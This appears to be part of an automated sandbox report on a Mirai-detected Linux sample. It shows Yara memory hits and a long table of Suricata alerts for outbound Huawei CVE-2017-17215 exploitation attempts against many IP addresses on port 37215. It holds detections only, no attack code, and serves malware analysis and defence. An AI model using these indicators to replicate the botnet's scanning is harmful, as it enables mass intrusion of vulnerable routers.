Process Memory Space: rsJtZBgpwG.elf PID: 5595	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5595	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5597	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5597	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5602	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5602	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5604	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5604	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5606	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5606	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5608	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5608	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5610	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5610	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5612	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5612	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5614	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5614	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5616	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5616	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5618	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5618	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5620	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5620	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5622	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5622	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5624	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5624	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Click to see the 193 entries

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T14:14:11.768390+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53682	41.75.87.189	37215	TCP
2024-09-25T14:14:12.157159+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59754	197.8.24.240	37215	TCP
2024-09-25T14:14:12.828118+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51866	197.8.254.42	37215	TCP
2024-09-25T14:14:12.828121+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49178	197.7.143.124	37215	TCP
2024-09-25T14:14:13.917926+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45956	156.236.134.70	37215	TCP
2024-09-25T14:14:14.320173+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60842	156.231.58.213	37215	TCP
2024-09-25T14:14:14.363315+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52200	197.128.136.140	37215	TCP
2024-09-25T14:14:14.487523+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56458	197.232.26.242	37215	TCP
2024-09-25T14:14:14.496969+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57780	156.0.246.2	37215	TCP
2024-09-25T14:14:14.586231+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35076	41.75.134.209	37215	TCP
2024-09-25T14:14:15.337100+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53922	197.7.86.235	37215	TCP
2024-09-25T14:14:16.790048+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46854	156.118.30.32	37215	TCP
2024-09-25T14:14:16.790052+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37168	41.33.63.180	37215	TCP
2024-09-25T14:14:16.790057+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35606	156.156.225.97	37215	TCP
2024-09-25T14:14:16.790089+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52240	41.214.69.178	37215	TCP
2024-09-25T14:14:16.794038+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44234	156.90.145.103	37215	TCP
2024-09-25T14:14:19.027543+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47632	156.73.176.14	37215	TCP
2024-09-25T14:14:21.732345+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41636	156.73.31.180	37215	TCP
2024-09-25T14:14:21.903516+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38828	41.174.94.226	37215	TCP
2024-09-25T14:14:22.353807+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56872	156.212.237.154	37215	TCP
2024-09-25T14:14:22.353807+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59528	156.54.182.52	37215	TCP
2024-09-25T14:14:22.357807+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34266	197.58.17.124	37215	TCP
2024-09-25T14:14:22.357807+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46878	41.88.166.171	37215	TCP
2024-09-25T14:14:22.357807+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57426	156.251.233.185	37215	TCP
2024-09-25T14:14:22.361824+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53852	41.112.146.16	37215	TCP
2024-09-25T14:14:22.385800+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41832	156.167.82.254	37215	TCP
2024-09-25T14:14:23.961973+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57140	197.8.86.37	37215	TCP
2024-09-25T14:14:25.829235+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52692	156.250.70.236	37215	TCP
2024-09-25T14:14:28.099413+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46598	156.239.122.27	37215	TCP
2024-09-25T14:14:30.723480+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56408	197.232.85.84	37215	TCP
2024-09-25T14:14:30.860532+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32832	197.137.197.243	37215	TCP
2024-09-25T14:14:30.862129+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39490	197.150.60.243	37215	TCP
2024-09-25T14:14:30.907600+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34480	197.62.234.103	37215	TCP
2024-09-25T14:14:30.974179+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44902	156.129.215.226	37215	TCP
2024-09-25T14:14:30.986677+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60866	197.4.255.13	37215	TCP
2024-09-25T14:14:30.986710+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42618	156.182.203.125	37215	TCP
2024-09-25T14:14:30.986710+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53700	41.204.214.55	37215	TCP
2024-09-25T14:14:30.987666+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42254	197.172.82.145	37215	TCP
2024-09-25T14:14:31.002045+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44094	156.10.102.1	37215	TCP
2024-09-25T14:14:31.002537+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38602	197.211.194.206	37215	TCP
2024-09-25T14:14:31.002552+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47866	41.186.58.182	37215	TCP
2024-09-25T14:14:31.002724+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57410	41.161.47.162	37215	TCP
2024-09-25T14:14:31.002918+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42828	156.43.122.92	37215	TCP
2024-09-25T14:14:31.002924+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53092	197.232.113.246	37215	TCP
2024-09-25T14:14:31.003033+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38586	197.117.239.45	37215	TCP
2024-09-25T14:14:31.003225+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43676	41.17.167.241	37215	TCP
2024-09-25T14:14:31.005082+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55974	197.22.8.23	37215	TCP
2024-09-25T14:14:31.005181+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59120	41.236.198.95	37215	TCP
2024-09-25T14:14:31.017774+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54084	197.44.240.204	37215	TCP
2024-09-25T14:14:31.018239+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46578	156.5.157.97	37215	TCP
2024-09-25T14:14:31.018239+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50220	41.35.202.34	37215	TCP
2024-09-25T14:14:31.018243+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42122	41.117.220.87	37215	TCP
2024-09-25T14:14:31.018545+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40592	156.231.211.64	37215	TCP
2024-09-25T14:14:31.018594+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51654	197.78.160.104	37215	TCP
2024-09-25T14:14:31.018610+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54036	41.7.172.29	37215	TCP
2024-09-25T14:14:31.018613+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40092	41.224.51.184	37215	TCP
2024-09-25T14:14:31.018621+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57062	197.213.83.147	37215	TCP
2024-09-25T14:14:31.032126+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50674	156.165.196.119	37215	TCP
2024-09-25T14:14:31.033759+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33078	197.122.68.154	37215	TCP
2024-09-25T14:14:31.048678+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60448	41.20.204.217	37215	TCP
2024-09-25T14:14:31.049359+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44744	197.86.207.86	37215	TCP
2024-09-25T14:14:31.049836+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37076	197.193.248.155	37215	TCP
2024-09-25T14:14:31.049904+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54974	156.218.179.250	37215	TCP
2024-09-25T14:14:31.050009+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41022	156.76.35.164	37215	TCP
2024-09-25T14:14:31.050069+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60396	197.136.135.76	37215	TCP
2024-09-25T14:14:31.051560+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47978	156.24.206.200	37215	TCP
2024-09-25T14:14:31.054440+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34102	41.205.14.22	37215	TCP
2024-09-25T14:14:31.065423+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52248	197.239.226.40	37215	TCP
2024-09-25T14:14:31.068533+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44888	41.24.178.92	37215	TCP
2024-09-25T14:14:31.068548+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42460	41.114.20.185	37215	TCP
2024-09-25T14:14:31.080040+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52156	156.142.59.249	37215	TCP
2024-09-25T14:14:31.080467+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44470	156.122.208.214	37215	TCP
2024-09-25T14:14:31.080475+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48696	197.102.48.75	37215	TCP
2024-09-25T14:14:31.080792+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45202	156.36.9.56	37215	TCP
2024-09-25T14:14:31.080978+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55888	41.138.112.209	37215	TCP
2024-09-25T14:14:31.081611+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33980	197.226.156.116	37215	TCP
2024-09-25T14:14:31.081619+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54704	41.126.121.77	37215	TCP
2024-09-25T14:14:31.081621+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57810	156.205.173.203	37215	TCP
2024-09-25T14:14:31.083548+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55606	41.85.169.189	37215	TCP
2024-09-25T14:14:31.083555+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47088	197.53.139.110	37215	TCP
2024-09-25T14:14:31.083684+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53184	41.0.127.129	37215	TCP
2024-09-25T14:14:31.097525+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48426	156.37.55.251	37215	TCP
2024-09-25T14:14:31.097885+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48530	197.108.73.223	37215	TCP
2024-09-25T14:14:31.097885+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45004	41.185.117.166	37215	TCP
2024-09-25T14:14:31.098571+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54552	41.253.163.98	37215	TCP
2024-09-25T14:14:31.098572+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34792	156.243.133.195	37215	TCP
2024-09-25T14:14:31.098594+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59818	41.83.106.232	37215	TCP
2024-09-25T14:14:31.098598+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47438	41.96.165.212	37215	TCP
2024-09-25T14:14:31.098631+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49694	197.10.32.113	37215	TCP
2024-09-25T14:14:31.126034+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60840	41.17.224.245	37215	TCP
2024-09-25T14:14:31.126179+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39966	156.172.137.208	37215	TCP
2024-09-25T14:14:31.126211+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48382	156.147.64.138	37215	TCP
2024-09-25T14:14:31.126748+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52282	156.159.53.215	37215	TCP
2024-09-25T14:14:31.128178+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55844	156.82.22.251	37215	TCP
2024-09-25T14:14:31.131880+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49128	197.187.150.219	37215	TCP
2024-09-25T14:14:31.141620+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40752	197.87.102.75	37215	TCP
2024-09-25T14:14:31.141840+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53366	41.213.184.0	37215	TCP
2024-09-25T14:14:31.142419+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39734	41.192.9.132	37215	TCP
2024-09-25T14:14:31.142768+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57158	156.252.250.218	37215	TCP
2024-09-25T14:14:31.146430+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54888	41.139.101.133	37215	TCP
2024-09-25T14:14:31.146437+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40276	41.190.5.55	37215	TCP
2024-09-25T14:14:31.146437+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43816	156.60.200.195	37215	TCP
2024-09-25T14:14:31.146437+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52766	197.103.101.114	37215	TCP
2024-09-25T14:14:31.146437+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53424	41.177.199.135	37215	TCP
2024-09-25T14:14:31.146488+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52648	156.82.102.137	37215	TCP
2024-09-25T14:14:31.146540+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58812	41.216.108.45	37215	TCP
2024-09-25T14:14:31.147450+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58474	156.10.172.17	37215	TCP
2024-09-25T14:14:31.157335+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35812	41.82.43.36	37215	TCP
2024-09-25T14:14:31.157341+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54928	156.186.222.188	37215	TCP
2024-09-25T14:14:31.157358+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47494	156.217.57.108	37215	TCP
2024-09-25T14:14:31.157637+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52332	197.210.89.215	37215	TCP
2024-09-25T14:14:31.162042+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57910	197.0.5.179	37215	TCP
2024-09-25T14:14:31.162061+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47260	156.7.11.250	37215	TCP
2024-09-25T14:14:31.162067+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52352	41.149.63.53	37215	TCP
2024-09-25T14:14:31.162079+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49444	156.194.100.66	37215	TCP
2024-09-25T14:14:31.162081+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45748	156.79.189.25	37215	TCP
2024-09-25T14:14:31.162111+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54830	156.189.101.111	37215	TCP
2024-09-25T14:14:31.162139+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56452	156.178.255.27	37215	TCP
2024-09-25T14:14:31.162145+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60180	41.125.117.102	37215	TCP
2024-09-25T14:14:31.163234+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50584	41.214.110.3	37215	TCP
2024-09-25T14:14:31.172897+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50448	41.173.74.236	37215	TCP
2024-09-25T14:14:31.174609+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40712	41.4.254.46	37215	TCP
2024-09-25T14:14:31.188829+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37068	41.114.110.174	37215	TCP
2024-09-25T14:14:31.188877+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37646	156.39.222.238	37215	TCP
2024-09-25T14:14:31.188963+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52532	197.73.214.226	37215	TCP
2024-09-25T14:14:31.188975+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36708	197.177.156.30	37215	TCP
2024-09-25T14:14:31.194251+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37560	41.251.248.239	37215	TCP
2024-09-25T14:14:31.194273+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33496	156.190.179.85	37215	TCP
2024-09-25T14:14:31.194279+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58588	41.89.167.118	37215	TCP
2024-09-25T14:14:31.194279+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37632	156.42.73.218	37215	TCP
2024-09-25T14:14:31.194283+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53884	197.11.4.247	37215	TCP
2024-09-25T14:14:31.194287+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35998	156.207.216.152	37215	TCP
2024-09-25T14:14:31.194336+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33936	41.30.78.64	37215	TCP
2024-09-25T14:14:31.194345+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39082	197.86.239.160	37215	TCP
2024-09-25T14:14:31.194346+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44062	41.177.1.74	37215	TCP
2024-09-25T14:14:31.194352+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54808	156.26.39.47	37215	TCP
2024-09-25T14:14:31.194425+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53560	41.135.197.14	37215	TCP
2024-09-25T14:14:31.204794+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34244	156.137.155.99	37215	TCP
2024-09-25T14:14:31.204810+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41636	197.97.88.153	37215	TCP
2024-09-25T14:14:31.204812+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60920	41.134.91.195	37215	TCP
2024-09-25T14:14:31.208125+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38110	197.231.175.245	37215	TCP
2024-09-25T14:14:31.210817+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46528	41.2.163.52	37215	TCP
2024-09-25T14:14:31.210827+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41444	41.165.106.77	37215	TCP
2024-09-25T14:14:31.210832+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57708	156.150.87.77	37215	TCP
2024-09-25T14:14:31.210832+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42856	197.58.228.114	37215	TCP
2024-09-25T14:14:31.214145+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44828	156.135.251.155	37215	TCP
2024-09-25T14:14:31.220033+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56820	156.202.78.248	37215	TCP
2024-09-25T14:14:31.221255+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42912	156.56.63.6	37215	TCP
2024-09-25T14:14:31.221582+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54450	197.219.223.91	37215	TCP
2024-09-25T14:14:31.226107+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37720	197.23.164.92	37215	TCP
2024-09-25T14:14:31.236870+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51518	156.175.237.207	37215	TCP
2024-09-25T14:14:31.255069+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56118	41.185.23.149	37215	TCP
2024-09-25T14:14:31.262110+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50012	41.26.175.192	37215	TCP
2024-09-25T14:14:31.485511+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34746	197.186.28.45	37215	TCP
2024-09-25T14:14:31.501074+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46334	41.21.108.191	37215	TCP
2024-09-25T14:14:31.504449+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50832	156.219.163.0	37215	TCP
2024-09-25T14:14:31.510132+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43304	156.33.99.108	37215	TCP
2024-09-25T14:14:31.515981+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33820	156.47.26.203	37215	TCP
2024-09-25T14:14:31.516569+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54296	41.98.119.45	37215	TCP
2024-09-25T14:14:31.516576+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39448	41.164.250.178	37215	TCP
2024-09-25T14:14:31.518322+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38374	41.111.186.112	37215	TCP
2024-09-25T14:14:31.522327+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39948	41.189.109.120	37215	TCP
2024-09-25T14:14:31.531801+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59056	156.134.127.99	37215	TCP
2024-09-25T14:14:31.531803+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36318	197.125.193.227	37215	TCP
2024-09-25T14:14:31.531898+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58412	156.158.45.127	37215	TCP
2024-09-25T14:14:31.532024+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48156	156.34.181.226	37215	TCP
2024-09-25T14:14:31.532035+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54560	41.146.247.208	37215	TCP
2024-09-25T14:14:31.532226+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47298	197.20.94.33	37215	TCP
2024-09-25T14:14:31.532264+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37020	197.170.117.10	37215	TCP
2024-09-25T14:14:31.532501+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54100	197.138.35.126	37215	TCP
2024-09-25T14:14:31.532942+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45698	41.167.193.247	37215	TCP
2024-09-25T14:14:31.532943+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44884	41.63.0.247	37215	TCP
2024-09-25T14:14:31.532946+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56224	156.131.165.57	37215	TCP
2024-09-25T14:14:31.533900+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42646	41.141.128.89	37215	TCP
2024-09-25T14:14:31.533912+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40338	41.36.136.239	37215	TCP
2024-09-25T14:14:31.534048+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56384	156.5.29.152	37215	TCP
2024-09-25T14:14:31.534103+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36732	197.190.221.23	37215	TCP
2024-09-25T14:14:31.534103+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34226	41.180.9.202	37215	TCP
2024-09-25T14:14:31.535410+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58258	197.176.176.248	37215	TCP
2024-09-25T14:14:31.536091+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57530	41.23.9.240	37215	TCP
2024-09-25T14:14:31.536661+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42192	197.251.163.22	37215	TCP
2024-09-25T14:14:31.537997+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50806	156.187.174.94	37215	TCP
2024-09-25T14:14:31.538018+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51174	197.190.213.211	37215	TCP
2024-09-25T14:14:31.538089+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48914	156.115.211.80	37215	TCP
2024-09-25T14:14:31.548650+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56352	41.60.198.199	37215	TCP
2024-09-25T14:14:31.548663+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43598	197.8.14.51	37215	TCP
2024-09-25T14:14:31.549477+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42852	156.205.105.230	37215	TCP
2024-09-25T14:14:31.549726+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59136	197.22.35.233	37215	TCP
2024-09-25T14:14:31.549787+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33050	41.133.25.7	37215	TCP
2024-09-25T14:14:31.551588+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57136	41.216.132.188	37215	TCP
2024-09-25T14:14:31.552135+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56396	41.220.24.144	37215	TCP
2024-09-25T14:14:31.553504+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50080	41.196.53.42	37215	TCP
2024-09-25T14:14:31.553551+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40288	197.89.170.252	37215	TCP
2024-09-25T14:14:31.565414+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50032	197.218.197.167	37215	TCP
2024-09-25T14:14:31.565624+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34528	156.62.201.8	37215	TCP
2024-09-25T14:14:31.565624+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38006	41.88.209.182	37215	TCP
2024-09-25T14:14:31.565627+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38888	197.33.56.32	37215	TCP
2024-09-25T14:14:31.567085+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49798	197.208.164.58	37215	TCP
2024-09-25T14:14:31.567316+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43418	156.58.41.171	37215	TCP
2024-09-25T14:14:31.567376+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36566	197.99.236.196	37215	TCP
2024-09-25T14:14:31.567420+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42020	41.74.74.240	37215	TCP
2024-09-25T14:14:31.567682+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60004	41.58.52.85	37215	TCP
2024-09-25T14:14:31.570212+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42716	197.253.41.239	37215	TCP
2024-09-25T14:14:31.581091+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59698	156.125.16.61	37215	TCP
2024-09-25T14:14:31.585144+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51580	41.80.11.132	37215	TCP
2024-09-25T14:14:31.616103+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51734	156.248.255.21	37215	TCP
2024-09-25T14:14:31.672257+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42446	41.175.30.52	37215	TCP
2024-09-25T14:14:33.672667+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35064	41.50.90.84	37215	TCP
2024-09-25T14:14:33.672674+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39006	41.0.9.95	37215	TCP
2024-09-25T14:14:33.672871+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53772	197.58.23.178	37215	TCP
2024-09-25T14:14:33.672934+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48018	197.237.148.180	37215	TCP
2024-09-25T14:14:33.673101+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60004	156.167.26.116	37215	TCP
2024-09-25T14:14:33.673165+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54784	41.193.139.67	37215	TCP
